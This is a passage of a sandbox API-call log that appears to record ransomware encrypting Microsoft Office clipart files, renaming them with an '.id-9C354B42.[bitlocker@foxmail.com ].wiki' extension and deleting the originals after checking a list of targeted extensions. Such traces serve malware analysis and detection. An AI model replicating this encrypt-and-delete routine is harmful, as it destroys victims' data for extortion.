liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.639] SetEndOfFile (hFile=0x220) returned 1 [0199.640] CloseHandle (hObject=0x220) returned 1 [0199.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf")) returned 1 [0199.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0199.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0199.641] lstrlenW (lpString=".doc") returned 4 [0199.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.641] lstrlenW (lpString=".docx") returned 5 [0199.641] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0199.641] lstrlenW (lpString=".pdf") returned 4 [0199.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.641] lstrlenW (lpString=".xls") returned 4 [0199.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.641] lstrlenW (lpString=".xlsx") returned 5 [0199.641] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0199.641] lstrlenW (lpString=".ppt") returned 4 [0199.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0199.641] lstrlenW (lpString=".zip") returned 4 [0199.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.641] lstrlenW (lpString=".rar") returned 4 [0199.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.641] lstrlenW (lpString=".bz2") returned 4 [0199.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.642] lstrlenW (lpString=".7z") returned 3 [0199.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0199.642] lstrlenW (lpString=".dbf") returned 4 [0199.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0199.642] lstrlenW (lpString=".1cd") returned 4 [0199.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0199.642] lstrlenW (lpString=".jpg") returned 4 [0199.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0199.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0199.642] lstrlenW (lpString=".doc") returned 4 [0199.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.642] lstrlenW (lpString=".docx") returned 5 [0199.642] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0199.642] lstrlenW (lpString=".pdf") returned 4 [0199.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.642] lstrlenW (lpString=".xls") returned 4 [0199.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.642] lstrlenW (lpString=".xlsx") returned 5 [0199.642] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0199.642] lstrlenW (lpString=".ppt") returned 4 [0199.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0199.642] lstrlenW (lpString=".zip") returned 4 [0199.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.643] lstrlenW (lpString=".rar") returned 4 [0199.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.643] lstrlenW (lpString=".bz2") returned 4 [0199.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.643] lstrlenW (lpString=".7z") returned 3 [0199.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0199.643] lstrlenW (lpString=".dbf") returned 4 [0199.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0199.643] lstrlenW (lpString=".1cd") returned 4 [0199.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0199.643] lstrlenW (lpString=".jpg") returned 4 [0199.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.643] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.643] lstrlenW (lpString="J0187815.WMF") returned 12 [0199.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.644] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5376) returned 1 [0199.644] CloseHandle (hObject=0x220) returned 1 [0199.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf")) returned 0x20 [0199.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.644] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.644] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.645] GetLastError () returned 0x0 [0199.645] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1500, lpOverlapped=0x0) returned 1 [0199.646] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1510, lpOverlapped=0x0) returned 1 [0199.647] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.647] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.647] SetEndOfFile (hFile=0x20c) returned 1 [0199.647] CloseHandle (hObject=0x20c) returned 1 [0199.648] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.648] SetEndOfFile (hFile=0x220) returned 1 [0199.648] CloseHandle (hObject=0x220) returned 1 [0199.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf")) returned 1 [0199.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0199.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0199.649] lstrlenW (lpString=".doc") returned 4 [0199.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.649] lstrlenW (lpString=".docx") returned 5 [0199.649] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.649] lstrlenW (lpString=".pdf") returned 4 [0199.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.649] lstrlenW (lpString=".xls") returned 4 [0199.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.649] lstrlenW (lpString=".xlsx") returned 5 [0199.649] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.649] lstrlenW (lpString=".ppt") returned 4 [0199.649] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0199.649] lstrlenW (lpString=".zip") returned 4 [0199.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.649] lstrlenW (lpString=".rar") returned 4 [0199.649] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.649] lstrlenW (lpString=".bz2") returned 4 [0199.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.649] lstrlenW (lpString=".7z") returned 3 [0199.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0199.650] lstrlenW (lpString=".dbf") returned 4 [0199.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0199.650] lstrlenW (lpString=".1cd") returned 4 [0199.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0199.650] lstrlenW (lpString=".jpg") returned 4 [0199.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0199.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0199.650] lstrlenW (lpString=".doc") returned 4 [0199.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.650] lstrlenW (lpString=".docx") returned 5 [0199.650] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.650] lstrlenW (lpString=".pdf") returned 4 [0199.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.650] lstrlenW (lpString=".xls") returned 4 [0199.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.650] lstrlenW (lpString=".xlsx") returned 5 [0199.650] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.650] lstrlenW (lpString=".ppt") returned 4 [0199.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0199.650] lstrlenW (lpString=".zip") returned 4 [0199.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.650] lstrlenW (lpString=".rar") returned 4 [0199.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.650] lstrlenW (lpString=".bz2") returned 4 [0199.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.650] lstrlenW (lpString=".7z") returned 3 [0199.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0199.651] lstrlenW (lpString=".dbf") returned 4 [0199.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0199.651] lstrlenW (lpString=".1cd") returned 4 [0199.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0199.651] lstrlenW (lpString=".jpg") returned 4 [0199.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.651] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.651] lstrlenW (lpString="J0187817.WMF") returned 12 [0199.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.651] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=11644) returned 1 [0199.652] CloseHandle (hObject=0x220) returned 1 [0199.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf")) returned 0x20 [0199.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.652] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.652] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.652] GetLastError () returned 0x0 [0199.652] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x2d7c, lpOverlapped=0x0) returned 1 [0199.654] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0199.655] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.655] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.655] SetEndOfFile (hFile=0x20c) returned 1 [0199.655] CloseHandle (hObject=0x20c) returned 1 [0199.655] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.656] SetEndOfFile (hFile=0x220) returned 1 [0199.656] CloseHandle (hObject=0x220) returned 1 [0199.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf")) returned 1 [0199.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0199.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0199.657] lstrlenW (lpString=".doc") returned 4 [0199.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.657] lstrlenW (lpString=".docx") returned 5 [0199.657] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0199.657] lstrlenW (lpString=".pdf") returned 4 [0199.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.657] lstrlenW (lpString=".xls") returned 4 [0199.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.657] lstrlenW (lpString=".xlsx") returned 5 [0199.657] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0199.657] lstrlenW (lpString=".ppt") returned 4 [0199.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0199.657] lstrlenW (lpString=".zip") returned 4 [0199.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.657] lstrlenW (lpString=".rar") returned 4 [0199.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.657] lstrlenW (lpString=".bz2") returned 4 [0199.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.657] lstrlenW (lpString=".7z") returned 3 [0199.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0199.657] lstrlenW (lpString=".dbf") returned 4 [0199.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0199.658] lstrlenW (lpString=".1cd") returned 4 [0199.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0199.658] lstrlenW (lpString=".jpg") returned 4 [0199.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0199.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0199.658] lstrlenW (lpString=".doc") returned 4 [0199.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.658] lstrlenW (lpString=".docx") returned 5 [0199.658] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0199.658] lstrlenW (lpString=".pdf") returned 4 [0199.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.658] lstrlenW (lpString=".xls") returned 4 [0199.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.658] lstrlenW (lpString=".xlsx") returned 5 [0199.658] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0199.658] lstrlenW (lpString=".ppt") returned 4 [0199.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0199.658] lstrlenW (lpString=".zip") returned 4 [0199.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.658] lstrlenW (lpString=".rar") returned 4 [0199.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.658] lstrlenW (lpString=".bz2") returned 4 [0199.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.658] lstrlenW (lpString=".7z") returned 3 [0199.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0199.659] lstrlenW (lpString=".dbf") returned 4 [0199.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0199.659] lstrlenW (lpString=".1cd") returned 4 [0199.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0199.659] lstrlenW (lpString=".jpg") returned 4 [0199.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.659] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.659] lstrlenW (lpString="J0187819.WMF") returned 12 [0199.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.659] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=10352) returned 1 [0199.659] CloseHandle (hObject=0x220) returned 1 [0199.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf")) returned 0x20 [0199.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.660] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.660] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.660] GetLastError () returned 0x0 [0199.660] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x2870, lpOverlapped=0x0) returned 1 [0199.848] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2880, lpOverlapped=0x0) returned 1 [0199.854] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.854] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.855] SetEndOfFile (hFile=0x20c) returned 1 [0199.855] CloseHandle (hObject=0x20c) returned 1 [0199.855] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.855] SetEndOfFile (hFile=0x220) returned 1 [0199.855] CloseHandle (hObject=0x220) returned 1 [0199.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.856] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf")) returned 1 [0199.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0199.856] lstrlenW (lpString="C:\\Program Files\\Microsoft 